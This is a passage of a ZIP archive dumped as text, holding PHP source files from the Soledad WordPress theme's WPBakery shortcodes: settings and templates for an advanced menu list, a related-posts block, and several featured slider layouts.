$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['_title_fsize'],
	'font_style' => $atts['_title_typo'],
	'template'   => $id_info_box . ' .penci-ibox-title{ %s }',
) );

if ( $atts['_content_color'] ) {
	$css_custom .= $id_info_box . ' .penci-ibox-content{ color: ' . esc_attr( $atts['_content_color'] ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['_content_fsize'],
	'font_style' => $atts['_content_typo'],
	'template'   => $id_info_box . ' .penci-ibox-content{ %s }',
) );
if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_info_box, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}

PK     N\t    5  inc/js_composer/shortcodes/advanced_list/settings.phpnu [        <?php
vc_map( array(
	'name'                    => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Advanced Menu', 'soledad' ),
	'base'                    => 'penci_advanced_list',
	'as_parent'               => array( 'only' => 'penci_advanced_list_item' ),
	'content_element'         => true,
	'show_settings_on_create' => true,
	'html_template'           => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/advanced_list/frontend.php',
	'category'                => penci_get_theme_name( 'Soledad' ),
	'description'             => esc_html__( 'Create a menu list for your mega menu dropdown', 'soledad' ),
	'icon'                    => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'weight'                  => 700,
	'params'                  => array(
		array(
			'type'             => 'textfield',
			'param_name'       => '_heading_settings1',
			'heading'          => esc_html__( 'Link', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'textfield',
			'holder'           => 'div',
			'heading'          => esc_html__( 'Title', 'soledad' ),
			'param_name'       => 'title',
			'edit_field_class' => 'vc_col-sm-6 vc_column',

		),
		array(
			'type'             => 'vc_link',
			'heading'          => esc_html__( 'Link', 'soledad' ),
			'param_name'       => 'link',
			//'description'             => esc_html__( 'Enter URL if you want this parent menu item to have a link.', 'soledad' ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		/**
		 * Label
		 */ array(
			'type'             => 'textfield',
			'param_name'       => '_heading_settings2',
			'heading'          => esc_html__( 'Label', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Label text (optional)', 'soledad' ),
			'param_name'       => 'label_text',
			'description'      => esc_html__( 'Write a label for this menu item badge like “Sale”, “Hot”, “New” etc. Leave empty to not add any badges.', 'soledad' ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Label color', 'soledad' ),
			'param_name'       => 'label',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		/**
		 * Image
		 */ array(
			'type'             => 'textfield',
			'param_name'       => '_heading_settings3',
			'heading'          => esc_html__( 'Images', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'attach_image',
			'heading'          => esc_html__( 'Image', 'soledad' ),
			'param_name'       => 'image',
			'value'            => '',
			'description'      => esc_html__( 'Select image from media library.', 'soledad' ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Image size', 'soledad' ),
			'param_name'       => 'image_size',
			'description'      => esc_html__( 'Enter image size. Example: \'thumbnail\', \'medium\', \'large\', \'full\' or other sizes defined by current theme. Alternatively enter image size in pixels: 200x100 (Width x Height). Leave empty to use \'thumbnail\' size.', 'soledad' ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		/**
		 * Extra
		 */ array(
			'type'             => 'textfield',
			'param_name'       => '_heading_settings4',
			'heading'          => esc_html__( 'Extra Options', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Extra class name', 'soledad' ),
			'param_name'  => 'el_class',
			'description' => esc_html__( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'soledad' ),
		),
	),
	'js_view'                 => 'VcColumnView',
) );
PK     N\4aR%    5  inc/js_composer/shortcodes/advanced_list/frontend.phpnu [        <?php

$link = $title = $label = $label_text = $image = $image_size = $css_animation = $el_class = '';

$output = $class = $liclass = $label_out = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

if ( penci_get_menu_label_tag( $label, $label_text ) ) {
	$liclass .= penci_get_menu_label_class( $label );
}

if ( $el_class ) {
	$class .= ' ' . $this->getExtraClass( $el_class );
}
$class .= ' mega-menu-list';
$class .= $this->getCSSAnimation( $css_animation );
$class .= ' sub-menu';

// Image settings.
$image_output = '';
if ( function_exists( 'wpb_getImageBySize' ) && $image ) {
	$img          = wpb_getImageBySize( array(
		'attach_id'  => $image,
		'thumb_size' => $image_size,
		'class'      => 'penci-nav-img'
	) );
	$image_output = isset( $img['thumbnail'] ) ? $img['thumbnail'] : '';
}
?>

<ul class="penci-sub-menu<?php echo esc_attr( $class ); ?>">
    <li class="<?php echo esc_attr( $liclass ); ?>">
        <a <?php echo penci_get_link_attributes( vc_build_link($link) ); ?>>
			<?php if ( $image_output ) : ?>
				<?php echo $image_output; ?>
			<?php endif; ?>

            <span class="nav-link-text">
							<?php echo wp_kses( $title, penci_allow_html() ); ?>
						</span>
			<?php echo penci_get_menu_label_tag( $label, $label_text ); ?>
        </a>
        <ul class="sub-sub-menu">
			<?php echo do_shortcode( $content ); ?>
        </ul>
    </li>
</ul>


PK     N\쒬    >  inc/js_composer/shortcodes/pc_single_relatedposts/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_related_posts",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_relatedposts/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Related Posts', 'soledad' ),
	'description'   => 'Post Builder - Related Posts',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Related Heading Text', 'soledad' ),
			'param_name'       => 'penci_post_related_text',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Related Posts Carousel Auto Play', 'soledad' ),
			'param_name'       => 'penci_post_related_autoplay',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Number of Related Posts', 'soledad' ),
			'param_name'       => 'penci_numbers_related_post',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Order Related Posts By', 'soledad' ),
			'param_name'       => 'penci_related_orderby',
			'value'            => array(
				'Random Posts'                   => 'rand',
				'Published Date'                 => 'date',
				'Post ID'                        => 'ID',
				'Modified Date'                  => 'modified',
				'Post Title'                     => 'title',
				'Comment Count'                  => 'comment_count',
				'Most Viewed Posts All Time'     => 'popular',
				'Most Viewed Posts Daily'     	 => 'popular_day',
				'Most Viewed Posts Once Weekly'  => 'popular7',
				'Most Viewed Posts Once a Month' => 'popular_month',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Sort Order Related Posts', 'soledad' ),
			'param_name'       => 'penci_related_sort_order',
			'value'            => array(
				'DESC' => 'Descending',
				'ASC'  => 'Ascending',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Title Length', 'soledad' ),
			'param_name'       => 'penci_related_posts_title_length',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Related Posts By', 'soledad' ),
			'param_name'       => 'penci_related_by',
			'value'            => array(
				'Categories'                                              => 'categories',
				'Tags'                                                    => 'tags',
				'Primary Category from "Yoast SEO" or "Rank Math" plugin' => 'primary_cat',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Make Related Posts Display in a Grid Layout ( not Slider )', 'soledad' ),
			'param_name'       => 'penci_post_related_grid',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Dots On Carousel Related Posts', 'soledad' ),
			'param_name'       => 'penci_post_related_dots',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Enable Next/Prev Button On Carousel Related Posts', 'soledad' ),
			'param_name'       => 'penci_post_related_arrows',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Enable Posts Format Icons in Related Posts', 'soledad' ),
			'param_name'       => 'penci_post_related_icons',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Date on Related Posts', 'soledad' ),
			'param_name'       => 'penci_hide_date_related',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for Post Title', 'soledad' ),
			'param_name'       => 'post_title_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Hover Color for Post Title', 'soledad' ),
			'param_name'       => 'post_title_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'post_title_font',
			'value'      => '',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'post_title_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for Post Date', 'soledad' ),
			'param_name'       => 'post_date_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'post_date_font',
			'value'      => '',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'post_date_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'post_img_ratio',
			'heading'    => __( 'Custom Featured Image Ratio', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\     >  inc/js_composer/shortcodes/pc_single_relatedposts/frontend.phpnu [        <?php
$settings   = vc_map_get_attributes( $this->getShortcode(), $atts );
$css_class  = vc_shortcode_custom_css_class( $settings['css'] );
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'pc_single_relatedposts' );
$css_custom = '';
$mods       = [
	'penci_post_related_autoplay',
	'penci_numbers_related_post',
	'penci_related_orderby',
	'penci_related_sort_order',
	'penci_related_posts_title_length',
	'penci_related_by',
	'penci_post_related_grid',
	'penci_post_related_dots',
	'penci_post_related_arrows',
	'penci_post_related_icons',
	'penci_hide_date_related',
	'penci_post_related_text'
];
foreach ( $mods as $mod ) {
	$value = $settings[ $mod ];
	add_filter( 'theme_mod_' . $mod, function () use ( $value ) {
		return penci_switch_value( $value );
	} );
}
$settings['heading'] = $settings['penci_post_related_text'];
echo '<div id="' . $block_id . '" class="' . $css_class . '">';
get_template_part( 'inc/templates/related_posts' );
echo '</div>';
$typo_css = '';
$css      = [
	'post_title_color'  => [ '{{WRAPPER}} .item-related h3 a' => 'color:{{VALUE}}' ],
	'post_title_hcolor' => [ '{{WRAPPER}} .item-related h3 a:hover' => 'color:{{VALUE}} !important' ],
	'post_date_color'   => [ '{{WRAPPER}} .item-related span.date' => 'color:{{VALUE}} !important' ],
];
$typo_css .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['post_title_size'],
	'font_style' => $settings['post_title_font'],
	'template'   => '#' . $block_id . '  .item-related h3{ %s }',
) );
$typo_css .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['post_date_size'],
	'font_style' => $settings['post_date_font'],
	'template'   => '#' . $block_id . '  .item-related span.date{ %s }',
) );
if ( $settings['post_img_ratio'] ) {
	$typo_css = penci_extract_md_responsive_fsize( '#' . $block_id . ' .item-related > a:before{padding-top:{{VALUE}}%;}', $settings['post_img_ratio'] );
}
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id, $typo_css );
PK     N\mE2  2  7  inc/js_composer/shortcodes/featured_slider/style-20.phpnu [        <?php
/**
 * Template part for Slider Style 20
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 5 == 1 || $i % 5 == 2 ): $thumb = $bpost_thumb_size;
					$psize                                = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?> <?php echo( ( $i % 5 == 1 || $i % 5 == 2 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 1 || $i % 5 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\?    7  inc/js_composer/shortcodes/featured_slider/style-10.phpnu [        <?php
/**
 * Template part for Slider Style 10
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$penci_is_mobile = penci_is_mobile();

$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
					<?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\*    6  inc/js_composer/shortcodes/featured_slider/style-2.phpnu [        <?php
/**
 * Template part for Slider Style 2
 */

$post_thumb_size  = $post_thumb_size ? $post_thumb_size : 'penci-slider-thumb';
$penci_is_mobile  = penci_is_mobile();
$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) :
$feat_query->the_post(); ?>
<div class="item swiper-slide swiper-mark-item">
	<?php do_action( 'penci_bookmark_post' ); ?>
	<?php if ( ! $disable_lazyload ) { ?>
    <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
         data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
         href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
    <div class="penci-swiper-mask penci-image-holder"
         style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
         href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
        <?php } ?>
        <?php if ( ! $center_box ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
                    <?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
                    <?php endif; ?>
                    <h3><a href="<?php the_permalink() ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
                    <?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                        <div class="feat-meta">
                            <?php if ( $show_meta_author ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
                            <?php endif; ?>
                            <?php if ( ! $meta_date_hide ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
                            <?php endif; ?>
                            <?php if ( ! $hide_meta_comment ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
                            <?php endif; ?>
                            <?php echo penci_show_custom_meta_fields( [
                                'validator' => $cspost_enable,
                                'keys'      => $cspost_cpost_meta,
                                'acf'       => $cspost_cpost_acf_meta,
                                'label'     => $cspost_cpost_meta_label,
                                'divider'   => $cspost_cpost_meta_divider,
                            ] ); ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
                    <?php endif; ?>
                </div>
            </div>
        <?php endif; ?>
    </div>
</div>
<?php endwhile;
wp_reset_postdata();
endif; ?>
PK     N\+|s  s  6  inc/js_composer/shortcodes/featured_slider/style-8.phpnu [        <?php
/**
 * Template part for Slider Style 8
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$penci_is_mobile = penci_is_mobile();

	$image_size_m = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$image_size_m ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $image_size_m : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
